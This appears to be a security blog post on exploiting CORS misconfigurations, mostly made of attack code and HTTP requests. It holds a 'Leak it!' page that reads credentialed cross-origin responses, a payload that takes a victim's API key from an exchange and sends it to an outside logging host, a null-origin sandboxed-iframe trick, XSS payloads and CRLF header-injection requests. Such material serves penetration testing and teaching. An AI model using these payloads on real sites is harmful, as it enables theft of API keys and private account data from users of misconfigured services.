CORS

Update 6 Jul 2017:

Watch on YouTube

Exploit

Ref: On Web-Security and -Insecurity: CORS misconfigurations on a large scale

<input id="host" size="30" type="text" value="https://cors-misconfigured-website" />
<input id="path" size="30" type="text" value="/some-private-account-info" />
<button onclick="corstest()">Leak it!</button>
<textarea id="corsleak" readonly="" rows="10" style="width: 99%;"></textarea>
<script>
  function corstest() {
    document.getElementById('corsleak').value = "";
    var req = new XMLHttpRequest();
    req.onload = listener;
    req.open('GET', document.getElementById('host').value + document.getElementById('path').value);
    req.withCredentials = true;
    req.send();
    function listener() {
      document.getElementById('corsleak').value = this.responseText;
    }
}
</script>

1. Configuration

  • Access-Control-Allow-Origin
  • Access-Control-Allow-Credentials

Access-Control-Allow-Origin could only be

  • Origin-list
  • null

You cant use

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

1.1 withCredentials

Standard CORS requests do not send or set any cookies by default. In order to include cookies as part of the request, you need to set the XMLHttpRequest’s .withCredentials property to true:

xhr.withCredentials = true;

In order for this to work, the server must also enable credentials by setting the Access-Control-Allow-Credentials response header to true. See the server section for details.

Access-Control-Allow-Credentials: true

The .withCredentials property will include any cookies from the remote domain in the request, and it will also set any cookies from the remote domain. Note that these cookies still honor same-origin policies, so your JavaScript code can’t access the cookies from document.cookie or the response headers. They can only be controlled by the remote domain.

Ref: Using CORS - HTML5 Rocks

1.2 Null

Origin null is the local file system, so that suggests that you''re loading the HTML page that does the load call via a file:/// URL (e.g., just double-clicking it in a local file browser or similar). Different browsers take different approaches to applying the Same Origin Policy to local files.

Ref: jquery - Origin null is not allowed by Access-Control-Allow-Origin - Stack Overflow

This is great for attackers, because any website can easily obtain the null origin using a sandboxed iframe:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src=''data:text/html,<script>*cors stuff here*</script>’></iframe>

2. Key takeaway

If you see a HTTP response with any Access-Control-* headers but no origins declared, this is a strong indication that the server will generate the header based on your input.

Other servers will only send CORS headers if they receive a request containing the Origin header, making associated vulnerabilities extremely easy to miss.

2.1 Exploit - Access-Control-Allow-Credentials:true

Look at below request:

The attacker could control the returned Access-Control-Allow-Origin.

GET /api/requestApiKey HTTP/1.1
Host: victim.com
Origin: http://evil.com
Cookie: sessionid=validSessionId

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://evil.com
Access-Control-Allow-Credentials: true

{"id":"zv691C...}

Payload:

Ask an victim to visit a page which contains below js.

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(''get'',''https://btc-exchange.com/api/requestApiKey'',true);
req.withCredentials = true;
req.send();

function reqListener() {
location=''//skeletonscribe.net/log?key=''+this.responseText;
} 

2.2 How to find

GET /api HTTP/1.1
Host: victim.com
Origin: https://victim.com

<!-- Response 1 returns -->
	Access-Control-Allow-Origin: https://victim.com
GET /api HTTP/1.1
Host: victim.com
Origin: https://evil.com

<!-- Response 2 returns -->
	< no CORS headers >
GET /api HTTP/1.1
Host: victim.com
Origin: https://victim.com.evil.net

<!-- Response 3 returns -->
Access-Control-Allow-Origin: https://victim.com.evil.net
GET /api HTTP/1.1
Host: victim.com
Origin: https://something-else.com

HTTP/1.1 200 OK
Content-Security-Policy: frame-ancestors…
Strict-Transport-Security: max-age=3150000
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block;
Access-Control-Allow-Origin: https://something-else.com
Access-Control-Allow-Credential: true	

2.2 Exploit - Access-Control-Allow-Origin: null

null is an origin Google Trusts

Payload:

<iframe sandbox=''allow-scripts allow-forms'' src=''data:text/html, 
	<!DOCTYPE html>
		<script>var req = new XMLHttpRequest();</script>
''></iframe>

3. Exploits

GET /login HTTP/1.1
Host: example.com
Origin: https://evil.com
X-User: <svg/onload=alert(1)>

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User
Content-Type: text/html
Invalid user: <svg/onload=alert(1)>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(''get'',''http://example.com/login'',true);
req.setRequestHeader(''X-User'', ''<svg/onload=alert(1)>'');
req.send();
GET /login HTTP/1.1
Host: example.com
Origin: https://evil.com
X-User: <svg/onload=alert(1)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User
Content-Type: text/html
Invalid user: <svg/onload=alert(1)>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(''get'',''http://example.com/login'',true);
req.setRequestHeader(''X-User'', ''<svg/onload=alert(1)>'');
req.send();

function reqListener() {
	location=''http://example.com/login'';
} 
  • Escalate no-credentials CORS access to stored XSS
GET / HTTP/1.1
Origin: z[0d]Content-Type: text/html; charset=UTF-7

Internet Explorer Vision™:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
  • HTTP Header Injection
GET /?lc=en%0dACAO: null%0dACAC: true
Origin: null
Internet	Explorer	Vision™:
HTTP/1.1 200 OK
Set-Cookie: locale=en
ACAO: null
ACAC: true

3.1 Exploit Steps

Detect:

  • Seek out APIs
  • Try example.net, null, anything else
  • Use a request rewrite rule (Burp 1.7.08)

Map

  • Does it require a valid domain?
  • Does it restrict the protocol?
  • Does it only validate the start/end?
  • Are credentials supported?

Exploit

  • Are there potential exploit chains?
  • Is Vary: Origin specified?
  • Is cache poisoning practical?

Reference

Show Comments